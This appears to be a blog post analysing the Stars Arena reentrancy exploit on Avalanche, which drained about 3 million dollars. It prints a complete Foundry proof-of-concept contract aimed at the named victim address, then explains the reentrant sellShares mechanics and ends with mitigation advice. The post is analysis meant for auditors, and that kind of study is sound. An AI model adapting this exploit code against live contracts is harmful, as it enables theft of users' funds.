Unraveling the Stars Arena Exploit: Inside the Reentrancy Attack

Zoumana Cisse
Coinmonks

--

Security is non-negotiable when it comes to blockchain, and a rigorous approach to safety is fundamental. This post delves into a complex attack vector that leveraged a reentrancy vulnerability to siphon off funds to the tune of approximately 3 million dollars. As security engineers and auditors, your role in understanding and preventing such exploits is critical, and this analysis serves as a technical breakdown of the events leading up to and during the Stars Arena exploit.

A Prelude to the Heist

The contract under scrutiny was not open source, which already poses significant challenges for transparency and auditability. However, eagle-eyed observers noted irregularities in the transaction patterns. Specifically, the 0xe9ccf3a3 function was abused to trigger the vulnerability.

Sources for further deep-dive include:

The Contracts and Transactions in Question:

The Attack Breakdown

Below is the actual code used by the attacker, which will provide valuable insight into how the exploit was engineered:

solidityCopy code
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.10;
import "forge-std/Test.sol";
import "./interface.sol";
contract ContractTest is Test {
address private constant victimContract = 0xA481B139a1A654cA19d2074F174f17D7534e8CeC;
bool private reenter = true;
function setUp() public {
vm.createSelectFork("Avalanche", 36_136_405);
}
function testExploit() public {
deal(address(this), 1 ether);
emit log_named_decimal_uint("Attacker AVAX balance before exploit", address(this).balance, 18); // Here the exploit begins via a call to the vulnerable function
(bool success,) = victimContract.call{value: 1 ether}(
abi.encodeWithSelector(bytes4(0xe9ccf3a3), address(this), true, address(this))
);
require(success, "Call to function with selector 0xe9ccf3a3 failed");
// This triggers the sellShares function, which the reentrancy corrupts
(bool success2,) = victimContract.call(
abi.encodeWithSignature("sellShares(address,uint256)", address(this), 1)
);
require(success2, "Call to sellShares() failed");
emit log_named_decimal_uint("Attacker AVAX balance after exploit", address(this).balance, 18);
}
// The receive function enables the contract to receive AVAX and reenter
receive() external payable {
if (reenter == true) {
// Sets block height parameters to manipulate sellShares calculations
(bool success,) = victimContract.call(abi.encodeWithSelector(bytes4(0x5632b2e4), 91e9, 91e9, 91e9, 91e9));
require(success, "Call to function with selector 0x5632b2e4 failed");
reenter = false;
}
}
}

The Mechanics of the Exploit

The crux of the exploit relied on the attacker being able to make a reentrant call to the vulnerable sellShares function, via the receive fallback function in the attacking contract. Once the initial call to the 0xe9ccf3a3 function was made, sending along 1 ether as a transaction value, the attack was set in motion.

Upon receiving the funds, the attacking contract then proceeded to execute a nested call back into the sellShares function of the victim contract. However, before the full execution of sellShares, it managed to hijack the control flow, pushing the 0x5632b2e4 function to set particular block height parameters. These parameters were then (erroneously) used within the logic of sellShares to determine the amount of $AVAX to send, which resulted in a massively inflated return for the so-called "shares" sold back by the attacker.

Post Exploit: Reflections and Mitigations

For seasoned blockchain security engineers and auditors, this exploit emphasizes the importance of understanding the interplay between smart contract functions, and the potential dangers of unchecked external calls enabling reentrancy. Vigilant code audits, comprehensive testing (including fuzzing for edge cases), and employing security patterns like the Checks-Effects-Interactions pattern could prevent such exploitation.

Remember, the security of our blockchain assets depends on the rigor and thoroughness we apply today to anticipate the challenges of tomorrow. Let’s keep our guard up and our code secure.

For further discussions or inquiries, feel free to reach out to me on Twitter or LinkedIn.

--

--